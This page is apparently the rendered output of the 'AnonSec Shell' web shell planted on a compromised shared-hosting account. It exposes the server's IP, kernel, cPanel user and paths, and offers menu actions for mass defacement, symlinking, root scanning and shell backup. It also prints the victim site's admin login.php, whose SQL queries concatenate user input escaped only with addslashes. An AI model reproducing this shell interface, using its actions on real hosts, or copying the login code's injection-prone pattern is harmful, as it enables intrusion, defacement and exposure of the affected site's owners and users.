AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/simded.com/wallpaper/backend/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/simded.com/wallpaper/backend/include/login.php
<?php session_start(); ?>
<?php
require_once("../../../class2/actionClass.php");
require_once("../../../class2/view_Class.php");
require_once("../../../class2/user_Class.php");
$actiondata_db = new actiondata;
$view_db = new Viewdata;
$User_db = new User;

?>
<?php



//$user = @$_POST["username"];
//$pass = @$_POST["password"];
$user = addslashes(trim($_POST['username']));
$pass= addslashes(trim($_POST['password']));

//echo $pass;
//$pass_md5 = md5(@$pass."legolas");
//$pass_md5 = md5($pass);
$pass_md5 = $User_db->cus_pass($pass);



$name_table = "wal_admin";


$sql = array('table'=>$name_table,'count'=>'count(id) AS count_id','where'=>"username = '". $user ."' AND  status = 1");
$view_sql = $view_db->view($sql);
$row = $view_db->q($view_sql);
$row["count_id"];

if($row["count_id"])
{

		$sql2 = array('table'=>$name_table,'count'=>'count(id) AS count_id','where'=>"username = '". $user ."' AND password = '". $pass_md5 ."' AND  status = 1");
		$view_sql2 = $view_db->view($sql2);
		$row2 = $view_db->q($view_sql2);

		if($row2["count_id"])
		{
			$sql_id = array('table'=>$name_table,'where'=>"username = '".$user."' AND password = '".$pass_md5."'");
			$viewid_sql = $view_db->view($sql_id);
			$row_id = $view_db->q($viewid_sql);

			$_SESSION["admin_cn_login"] = 1;
			$_SESSION["admin_cn_user"] = $row_id["username"];
			$_SESSION["admin_cn_id"] = $row_id["id"];
			$_SESSION["admin_cn_type"] = $row_id["type"];




			$add = $User_db->log_Admin2($_SESSION["admin_cn_id"],$_SESSION["admin_cn_user"],'admin','login');




			//exit;
			?><meta http-equiv="refresh" content="0;URL=../main/index.php" /><?php
		}
		else
		{
			?><meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
			<script>
                alert("ข้อมลู Username หรือ Password ไม่ถูกต้อง");
            </script>
            <meta http-equiv="refresh" content="0;URL=../index.php">
            <?php
		}
}
else
{
	?><meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<script>
		alert("ข้อมลู Username หรือ Password ไม่ถูกต้อง");
	</script>
	<meta http-equiv="refresh" content="0;URL=../index.php">
	<?php
}
?>

Anon7 - 2022
AnonSec Team